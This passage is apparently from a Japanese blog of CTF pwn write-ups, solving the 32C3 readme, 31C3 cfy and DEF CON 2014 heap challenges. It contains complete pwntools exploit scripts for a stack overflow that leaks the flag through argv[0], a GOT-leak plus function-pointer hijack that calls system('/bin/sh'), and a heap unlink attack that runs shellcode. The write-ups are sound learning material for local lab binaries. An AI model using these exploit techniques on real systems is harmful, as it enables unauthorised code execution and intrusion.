このようにすれば上手くいくはずである。しかし、ここで問題が出てくる。flagは途中で書き換わってしまう(二回目の入力)ため、上手く表示することができない。すると以下のようなことがwrite-upを見て分かった。どうやら、x64の初期配置は0x400000になっている。これは以下のコマンドを実行してみるとわかる。

shima@chino:~/workspace/pwn_list_easy/readme$ ld --verbose
******************************************上記を省略**********************************************************************
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;

し、知らなかった(焦り)このことから.dataに入っている値は0x600d20にも入っているが、0x400d20にも入っている。実際に確認してみよう。

gdb-peda$ x/s 0x600d20
0x600d20:  "32C3_TheServerHasTheFlagHere..."
gdb-peda$ x/s 0x400d20
0x400d20:  "32C3_TheServerHasTheFlagHere..."

マジで入ってる( ^ω^ )。…ということでここまで確認できたということで実際に攻撃を組み立ててみよう。まずは一回目の入力でBOFさせて以下のような配置にする

A*0x210
1       (argc)
0x400d20(argv[0])
NULL    (境目)
0x600d20(envp[0])

argcまでのoffsetは0x210byteであり、そこから配置していく。そして二回目の入力は改行文字がくるまで、一文字ずつ0x600d20+ebxという形でebxを加算しながら入れていくため、それを利用してLIBC_FATAL_STDERR_= (適当)を送る。
ではさっそく、コードべちょー。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = '8888'
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./readme.bin')
        print "[+] connect to local\n"

flag_addr = 0x600d20

payload = ''
payload += "A" * 0x210
payload += p64(1)                   # argc
payload += p64(flag_addr - 0x200000)# argv[0]
payload += p64(0)                   # NULL
payload += p64(flag_addr)           # envp[0]
payload += '\n'

conn.send(payload)

payload = "LIBC_FATAL_STDERR_=syarochan\n"
conn.send(payload)

print conn.recvall()

独断と偏見でLIBC_FATAL_STDERR_の値をsyarochanにしている(シャロちゃんかわいい)。socatを以下のような例にして実際に動くか試してみる。

shima@chino:~/workspace/pwn_list_easy/readme$ socat TCP-LISTEN:8888,reuseaddr,fork EXEC:./readme.bin,stderr
shima@chino:~/workspace/pwn_list_easy/readme$ python exploit.py r
[+] Opening connection to localhost on port 8888: Done
[+] connect to server

[+] Receiving all data: Done (693B)
[*] Closed connection to localhost port 8888
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

shima@chino:~/workspace/pwn_list_easy/readme$ 

上手く動いている。ちなみに、二回目の入力をLIBC_FATAL_STDERR_の偽造を行わなかったら、/dev/tty(リモート先端末)に流れることも確認してみて欲しい。
【総評】argv[0]に対する考え方が広がった。

31C3 CTF cfy

64bit-ELFでxinetd型だった。問題としては攻撃を知っておかなければならないというよりも、システムの仕様理解していれば解けるような問題だった。ではさっそく、checksecから。

shima@chino:~/workspace/pwn_list_easy/cfy$ checksec --file cfy
[*] '/home/shima/workspace/pwn_list_easy/cfy/cfy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

実行ファイルを調べてもheapなども使われいないことから「今回はsystem(/bin/sh)を呼ぶんだろうな」ということを念頭に置きながらさっそく実行!

shima@chino:~/workspace/pwn_list_easy/cfy$ ./cfy 
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
0

Please enter your number: 113
dec: 275
hex: 0x113

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit

打った文字を10進と16進で表示させるような問題だった。しかし、2) parse from pointerというのが、適当に打ってもセグフォしてよくわからなかったのでここを中心に調べてみることにした。

RAX: 0x601018 --> 0x7ffff7a81d60 (<puts>: push   r12)

   0x400789 <from_ptr+4>:    mov    QWORD PTR [rbp-0x8],rdi
   0x40078d <from_ptr+8>:    mov    rax,QWORD PTR [rbp-0x8]
   0x400791 <from_ptr+12>:   mov    rax,QWORD PTR [rax]
=> 0x400794 <from_ptr+15>:   mov    rax,QWORD PTR [rax]
   0x400797 <from_ptr+18>:   pop    rbp
   0x400798 <from_ptr+19>:   ret   

どうやら、打った文字のアドレスの中身を表示させるような仕組みになっていた。今は、puts関数のGOTアドレスを打った様子である。「ここからlibc_baseをleakさせればいいのか」とここで考えた。
また、これとは違ったバグを見つけた。

0x4008af <main+163>: shl    rax,0x4            
0x4008b3 <main+167>: add    rax,0x601080       ;rax*16 + 0x601080
0x4008b9 <main+173>: mov    rax,QWORD PTR [rax]
0x4008bc <main+176>: mov    edi,0x6010e0
0x4008c1 <main+181>: call   rax                ;rax(buf)

gdb-peda$ x/50gx 0x601080
0x601080 <parsers>:  0x000000000040073d 0x00000000004009b4
0x601090 <parsers+16>:  0x0000000000400761 0x00000000004009c3
0x6010a0 <parsers+32>:  0x0000000000400785 0x00000000004009d2
0x6010b0:  0x0000000000000000 0x0000000000000000
0x6010c0 <stdout@@GLIBC_2.2.5>:    0x00007ffff7dd4400 0x00007ffff7dd4640
0x6010d0 <completed.6972>:  0x0000000000000000 0x0000000000000000
0x6010e0 <buf>:  0x6161616161616161 0x6262626262626262
0x6010f0 <buf+16>:  0x6363636363636363 0x616161616161000a
0x601100 <buf+32>:  0x6161616161616161 0x0a61616161616161

0,1,2の番号に応じたユーザ関数を呼び出すときにユーザが入力した番号をシフトさせてその値に0x601080を足して呼び出している。ちなみに、0x601080の中身から上位のアドレスにユーザが入力した値が格納されるbufがある。
このバグを上手く利用してraxの部分をsystemにし、その第一引数のbufに/bin/shとすればshellが起動するはずである。
これらをまとめると、以下のような順番で、攻撃していく。

  1. libc_baseをnumber 2を使って、適当なライブラリ関数のGOTアドレスからleakする。

  2. systemをnumber 0 or number 1を使ってbuf+16にsetする。

  3. /bin/shをnumber 7(raxをbuf+16にする)を使ってbufにsetしてshellを起動させる。

コードにすると以下のようになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

elf = ELF('./cfy')
puts_got = elf.got['puts']

libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']

conn = process('./cfy')
print "[+] connect to local\n"

def send_data(number, data):
    conn.recvuntil('3) quit\n')
    conn.send(number+'\n')
    conn.recvuntil('Please enter your number: ')
    conn.send(data+'\n')

# leak libc base
leak = ''
leak += p64(puts_got)
send_data('2', leak)

conn.recvuntil('hex: ')
libc_base  = int(conn.recv(16), 16) - puts_offset
system = libc_base + system_offset
print "libc_base:%16x" % libc_base
print "system   :%16x" % system

# set system
payload = ''
payload += p64(0xdeadbeef)   # buf
payload += p64(0xdeadbeef)   # buf+8
payload += p64(system)       # buf+16(call rax)
send_data('0', payload)

# start system(/bin/sh)
payload = ''
payload += '/bin/sh'    # buf(arg 1)
send_data('7', payload) # set call eax to buf+16

conn.interactive()

[総評]libc_baseの特定を頑張る問題

DEF CON CTF Qualifier 2014 heap

32bit-ELFでxinetd型だった。今回はheapということでかなりrevに力を入れないといけないなぁと思いつつ問題を解くことにした。ということでさっそく、checksecと実行をしてみた。

shima@chino:~/workspace/pwn_list_easy/heap$ checksec --file heap 
[*] '/home/shima/workspace/pwn_list_easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NXは立っているがheapの部分は実際に動かしてみるまで分からないため、実際にgdbmallocされた後で止めてvmmapして確かめた。
f:id:shimasyaro:20170322161519p:plain
これを見るとどうやら、heapには実行権限がついているため、今回はshellcodeを使っても問題なさそうだ。

shima@chino:~/workspace/pwn_list_easy/heap$ ./heap 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=88A8008][size=1246]
[ALLOC][loc=88A84F0][size=1121]
[ALLOC][loc=88A8958][size=947]
[ALLOC][loc=88A8D10][size=741]
[ALLOC][loc=88A9000][size=706]
[ALLOC][loc=88A92C8][size=819]
[ALLOC][loc=88A9600][size=673]
[ALLOC][loc=88A98A8][size=1004]
[ALLOC][loc=88A9C98][size=952]
[ALLOC][loc=88AA058][size=755]
[ALLOC][loc=88AA350][size=260]
[ALLOC][loc=88AA458][size=877]
[ALLOC][loc=88AA7D0][size=1245]
[ALLOC][loc=88AACB8][size=1047]
[ALLOC][loc=88AB0D8][size=1152]
[ALLOC][loc=88AB560][size=1047]
[ALLOC][loc=88AB980][size=1059]
[ALLOC][loc=88ABDA8][size=906]
[ALLOC][loc=88AC138][size=879]
[ALLOC][loc=88AC4B0][size=823]
Write to object [size=260]:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copied 334 bytes.
[FREE][address=88A8008]
[FREE][address=88A84F0]
[FREE][address=88A8958]
[FREE][address=88A8D10]
[FREE][address=88A9000]
[FREE][address=88A92C8]
[FREE][address=88A9600]
[FREE][address=88A98A8]
[FREE][address=88A9C98]
[FREE][address=88AA058]
[FREE][address=88AA350]
Segmentation fault (コアダンプ)

heap overflowと書かれていたため、260以上の入力を行ったとき、セグフォを起こした。このときfreeはallocされた順番にfreeされていき、11番目でセグフォで終了したため、「ここら辺がHeap overflowで書き換わったのかな?」と思いつつfreeを中心に見ていくことにした。すると以下のような形でchunkが20個並んでいることが分かった。 f:id:shimasyaro:20170322104516p:plain
そして、次のchunkを調べるときは現在のSIZEのアドレスからSIZEを足すことによって次のchunkのSIZEを指すといった動きをしていた。この動きを利用して以下のような動きが気になった。

mov     eax, [ebp+next_size_ptr]
mov     eax, [eax]
and     eax, 0FFFFFFFEh ; P->fd->size
add     eax, [ebp+next_size_ptr]
mov     eax, [eax]      ; P->fd->fd->size
and     eax, 1          ; P->fd->fd->size (prev is alloc?)
test    eax, eax
jnz     short prev_alloc

どうやら、and処理の部分でprev_inuseを操作していることが分かる。prev_inuseをみて、前のchunkがどうかを見ている。freeはallocされた順番に行われていく。ここの処理では、直下のchunkがallocかfreeかでその結果でjnzで処理を分けている。図にすると以下のようになる。
f:id:shimasyaro:20170322112442p:plain
ここでどういったoverflowをするのかというと、直上の260byteの部分のchunk(11個目)がoverflowし、12個目のchunkが書き換わってしまうバグだ。このバグを利用して攻撃を行う。攻撃する方法としてはprev_inuseチェックした後、freeと判断されて分岐先となる、unlink処理の部分を利用することにした。

prev_free:
mov     eax, [ebp+fd]
mov     edx, [ebp+bk]
mov     [eax+8], edx    ; P->fd->bk = P->bk
mov     eax, [ebp+bk]
mov     edx, [ebp+fd]
mov     [eax+4], edx    ; P->bk->fd = P->fd

ここで攻撃として利用するのはunlink attackを行う。行う部分は、P->fd->bk = P->bkだ。eaxにはP->fdが入るため、ここをP->fd->bk(適当なGOTアドレス-8) = P->bk(chunk data address 11個目)にする。攻撃はこれでいいが、問題はどうやって、free状態だと誤認させるかだ。
ここで注目しなければならないことは「SIZEを足して次のchunkにアクセスしている」という点だ。つまり、12個目のSIZEを適当なサイズにして「1bit目が0になっているところに飛ばす」ということをやれば誤認する。
ここで注意しなければならないことは11個目のchunkはまだ、「freeされていない」という点だ。つまり、適当なサイズにする時に「1bit目は必ず1」にしなければunlinkの途中でエラーを起こして強制終了になる。以上をまとめると以下のような図になる。
f:id:shimasyaro:20170322125139p:plain
図のchunk12個目のSIZEが0x21になっているがDataの部分はすべて0になっているため、適当な場所に飛ばすためにこの値にしている。gotのアドレスだが、freeが終了するたびにprintfで表示しているため、ここの値を書き換えることにした。
しかし、heapのアドレスに飛ばしてもまだ、落とし穴がある。

gdb-peda$ x/30wx 0x804f350
0x804f350: 0x00000000 0x0804bffc 0x00000000 0x00000000
0x804f360: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f370: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f380: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f390: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3c0: 0x00000000 0x00000000

これは、chunk11個目のdata部分に飛んだ様子だが、0x0804bffc(printf.got - 8)が入っているのが分かるだろうか。つまりここの部分がunlink attackしたときに潰されてるために攻撃を工夫したければならない。
攻撃方法として「jmp命令を入れてshellcodeの部分に飛ばす」ということをする。最初の4byteの部分をjmp命令とpaddingで埋め、NOPがある部分に飛ぶようにし、NOP sledさせてshellcodeを起動させるようにする。
以上を踏まえると以下のようなcodeになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./heap')
print_got = elf.got['printf']

conn = process('./heap')
print "[+] connect to local\n"

# get chunk data address (number of 11)
heap_addr  = int(conn.recvuntil('][size=260]')[-18:-11],16)
print "heap:%08x" % heap_addr
buffer_len = 200
shellcode = asm(shellcraft.sh())

# unlink attack
payload = ''
payload += "\xeb\x10"+"\x90\x90"                 # jmp 0x10 + padding(2byte)
payload += '\x90' * 56                           # NOP sled
payload += shellcode
payload += '\x00' * (buffer_len - len(shellcode))
payload += p32(0x21)                             # size(previn_use=0)
payload += p32(print_got - 8)                    # fd
payload += p32(heap_addr)                        # bk
payload += '\n'

conn.send(payload)

conn.interactive()

jmp命令で適当なNOPの場所に飛ばしてスライドさせてshellcodeが起動するようにした。
[総評]unlink attackの基礎(実際のmallocの動きに近い)を知ることができた。